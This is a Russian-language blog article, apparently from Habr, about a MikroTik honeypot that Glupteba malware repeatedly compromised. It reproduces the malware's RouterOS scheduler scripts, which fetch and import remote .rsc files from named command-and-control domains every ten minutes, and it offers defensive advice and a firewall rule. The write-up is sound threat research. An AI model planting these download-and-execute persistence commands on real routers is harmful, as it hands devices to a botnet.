Кто копает под мой MikroTik?

4rwxt1rrppmkmuzcpvjhzlxrwho.png

В статье обобщены результаты работы honeypot на базе Cloud Hosted Router от MikroTik, поднятого на ресурсах отечественного провайдера RUVDS.com и намеренно открытого для посещения всему интернету. Устройство подвергалось многократному взлому со стороны известной с 2018 года малвари Glupteba. Полученные данные свидетельствуют о прекращении ее активного функционирования, однако отдельные зомби хосты продолжают существовать на бесконечных просторах цифровой сети и вмешиваться в работу слабо защищенных устройств на базе операционной системы RouterOS.
image

В марте этого года был подготовлен и запущен в эксплуатацию honeypot из Cloud Hosted Router от MikroTik. Провайдер был выбран из соображений анализа угроз, ориентированных на российские просторы цифровых ресурсов. В связи с этим RUVDS.com отлично подошел, так как широко предоставляет услуги большому и малому отечественному бизнесу. Это позволяет сформулировать гипотезу, что их IP адреса регулярно сканируются, в том числе с зловредными целями. Вот уже прошли несколько месяцев, и свежие данные перестали появляться, руки опустились исследовательский интерес заметно поубавился, настало время осветить полученные результаты, которых, к сожалению не много.

Напомним основные тезисы про то, что позволяет нам фиксировать honeypot:

  • Во-первых, удаленно логировать события, происходящие на маршрутизаторе.
  • Во-вторых, регистрировать вносимые темной стороной силы третьими лицами изменения в конфигурации роутера.
  • В-третьих, осуществлять контроль трафика, передающегося через honeypot, чтобы зафиксировать активность несанкционированных гостей.
  • Не реализовано логирование вводимых команд, но судя по всему, их и не было, так как вмешательство осуществлялось посредством исполнения скриптов. На honeypot создана учетная запись guest с одноименным паролем.

▍Охота началась…


Буквально на третий день в логах появились записи, примерно следующего содержания:
2021-04-27T18:56:14.178379+06:00 192.168.15.5 system,info,account user guest logged in from 193.236.90.101 via ssh
2021-04-27T18:56:14.353637+06:00 192.168.15.5 system,info new script scheduled by guest
2021-04-27T18:56:14.440752+06:00 192.168.15.5 system,info,account user guest logged out from 193.236.90.101 via ssh
2021-04-27T19:16:15.904780+06:00 info fetch: file "7wmp0b4s.rsc" downloaded
2021-04-27T19:16:15.954548+06:00 192.168.15.5 system,info changed scheduled script settings by guest
2021-04-27T19:16:15.954745+06:00 192.168.15.5 system,info changed scheduled script settings by guest
2021-04-27T23:26:17.907112+06:00 info fetch: file "7xe7zt46hb08" downloaded

Ага, то есть гость залогинился и сразу добавил скрипт на нашем устройстве, после чего откланялся. Через 20 минут роутер скачал из интернета файл с именем 7wmp0b4s, и два раза изменил настройки планировщика событий. Через 4 часа скачал новый файл 7xe7zt46hb08. Скажем так, этот сценарий повторялся на honeypot регулярно, раз в два-три дня. Он является результатом активности RouterOS ориентированного модуля от малвари Glupteba
Подробный отчет о ней представлен антивирусной компанией Sophos в июне 2020 года. Если вкратце, то малварь распространяется через вредоносные файлы, типа keygen.exe для известных на общем цифровом рынке продуктов, после исполнения которых осуществляются закрепление в операционной системе Windows и дальнейшие деструктивные действия. Одним из модулей Glupteba является Winboxscan.exe, который ищет устройства в интернете с открытым TCP портом 8291 (служба Winbox), осуществляет брутфорс SSH сервера RouterOS, ну и далее по описанному выше сценарию.

Рассмотрим подробнее, что же он пытался сделать с нашим honeypot. Врывался Glupteba с абсолютно различных и ничем не примечательных адресов, например, 117.5.136.138 (Вьетнам), 196.74.211.58 (Марокко, скорее всего за ним натированная провайдерская сеть), 83.110.74.48 (ОАЭ, на нем кстати есть веб морда для авторизации), 119.93.201.170 (Филиппины, за ним тоже натированная сеть ISP) и т.д. Во всех случаях закачивались файлы с одинаковыми именами: 7wmp0b4s и 7xe7zt46hb08. Их содержание однородно:

/system scheduler
add interval=10m name=U6 on-event="/tool fetch url=http://strtbiz.site/poll/9e187b2c-531a-449b-bee1-2e8f0ad058c9 mode=http dst-path=7wmp0b4s.rsc \n/import 7wmp0b4s.rsc"
add interval=10m name=U6 on-event="/tool fetch url=http://bestony.club/poll/f0a5a594-2481-4aed-9eec-3ee38590292a mode=http dst-path=7wmp0b4s.rsc \n/import 7wmp0b4s.rsc"
add interval=10m name=U7 on-event="/tool fetch url=http://massgames.space/poll/f0a5a594-2481-4aed-9eec-3ee38590292a mode=http dst-path=7xe7zt46hb08 \n/import 7xe7zt46hb08"
add interval=10m name=U7 on-event="/tool fetch url=http://portgame.website/poll/a71efbe8-f3a3-4b14-8ad6-9a958a71f119 mode=http dst-path=7xe7zt46hb08 \n/import 7xe7zt46hb08"	
/tool fetch url=http://myfrance.xyz/poll/c5f3fe2b-e6c0-4d26-8933-fedc2c63a581 mode=http dst-path=7wmp0b4s.rsc \n /import 7wmp0b4s.rsc
add disabled=yes interval=10m name=U7 on-event="/tool fetch url=http://weirdgames.info/poll/ee10bae8-afc6-4973-a7e9-7801932d2373 mode=http dst-path=7xe7zt46hb08 \n/import 7xe7zt46hb08"
add disabled=yes interval=10m name=U7 on-event="/tool fetch url=http://globalmoby.xyz/poll/23e946ba-eb4c-4ff8-94b7-381938f5a86e mode=http dst-path=7xe7zt46hb08 \n /import 7xe7zt46hb08"

Как видно, используются разные C&C сервера, whois и nmap которых ровным счетом ничего не дает, так же как и брутфорс папок poll. Веб сервера на них анализируют user-agent клиентов и отдают файлы только характерным для MikroTik значениям. Запрашиваемые файлы с серверов удаляются, да и не сразу появляются, как видно из нашего сценария. Пример содержания файла 7wmp0b4s, тоже ничего интересного не несет:
:do { /system scheduler set U3 name="U7" on-event="/tool fetch url=http://massgames.space/poll/f0a5a594-2481-4aed-9eec-3ee38590292a mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08" } on-error={ :put "U3 not found"}
:do { /system scheduler set U4 name="U7" on-event="/tool fetch url=http://massgames.space/poll/f0a5a594-2481-4aed-9eec-3ee38590292a mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08" } on-error={ :put "U4 not found"}
:do { /system scheduler set U5 name="U7" on-event="/tool fetch url=http://massgames.space/poll/f0a5a594-2481-4aed-9eec-3ee38590292a mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08" } on-error={ :put "U5 not found"}
:do { /system scheduler set U6 name="U7" on-event="/tool fetch url=http://massgames.space/poll/f0a5a594-2481-4aed-9eec-3ee38590292a mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08" } on-error={ :put "U6 not found"}
:do { /system scheduler set U7 name="U7" on-event="/tool fetch url=http://massgames.space/poll/f0a5a594-2481-4aed-9eec-3ee38590292a mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08" } on-error={ :put "U7 not found"}

Пример содержания файла 7xe7zt46hb08 выдернут из Wireshark, так как на роутере он не сохраняется. Это кстати возможно, потому что C&C сервер отдает файлы по нешифрованному HTTP, по не понятной причине. Возможно функционал разрабатывался, когда RouterOS еще не имел на борту веб клиент, умеющий работать по HTTPS:
[Request URI: http://bestony.club/poll/f0a5a594-2481-4aed-9eec-3ee38590292a]
Line-based text data: text/html (10 lines)
    :do { /system scheduler set U3 name="U7" on-event="/tool fetch url=http://massgames.space/poll/f0a5a594-2481-4aed-9eec-3ee38590292a mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08" } on-error={ :put "U3 not found"}\n
    :do { /system scheduler set U4 name="U7" on-event="/tool fetch url=http://massgames.space/poll/f0a5a594-2481-4aed-9eec-3ee38590292a mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08" } on-error={ :put "U4 not found"}\n
    :do { /system scheduler set U5 name="U7" on-event="/tool fetch url=http://massgames.space/poll/f0a5a594-2481-4aed-9eec-3ee38590292a mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08" } on-error={ :put "U5 not found"}\n
    :do { /system scheduler set U6 name="U7" on-event="/tool fetch url=http://massgames.space/poll/f0a5a594-2481-4aed-9eec-3ee38590292a mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08" } on-error={ :put "U6 not found"}\n
    :do { /system scheduler set U7 name="U7" on-event="/tool fetch url=http://massgames.space/poll/f0a5a594-2481-4aed-9eec-3ee38590292a mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08" } on-error={ :put "U7 not found"}\n

Для удобства анализа трафика от honeypot использовался простой фильтр в Wireshark, который отсеивает не интересные пакеты:
not arp && not dhcp && not mndp && not cdp && not icmp && not lldp && !ip.addr == IP_honeypot

▍Подведем итоги


Вот и все, что проявилось на Cloud Hosted Router. Никаких других ботов или посторонних лиц в гости не заходило. Glupteba ориентирован на создание из MikroTik SOCKS пира, с целью проведения полезных для злоумышленников действий, однако подобных следов получено не было. Следов использования функционала детектирования песочниц не обнаружено. Это позволяет сделать вывод глазами сетевого инженера о прекращении активного функционирования малвари, однако отдельные зомби хосты продолжают существовать в разных уголках цифрового пространства и вмешиваться в работу слабо защищенных устройств на базе операционной системы RouterOS, создавая задел на проведение атак в будущем. Если у вас за спиной крупная сеть из плохо администрируемых хостов на базе операционной системы Windows и имеется пограничный маршрутизатор MikroTik, то можно легко фильтровать исходящий в интернет трафик на наличие подключений к удаленной Winbox службе и инициаторов садить в отдельный address-list с последующим отложенным разбором полетов, но это уже другая история.
add action=add-src-to-address-list address-list="Want 8291 port in Internet" address-list-timeout=none-dynamic chain=forward dst-port=8291 protocol=tcp

Следим за обновлением используемых программных продуктов, ставим сильные пароли на учетные записи своих роутеров или используем сертификаты на вход SSH и спим спокойным сисадминским сном.
fd2b54bc3722efda2cfd8dc052376907.jpg

oug5kh6sjydt9llengsiebnp40w.png

© Habrahabr.ru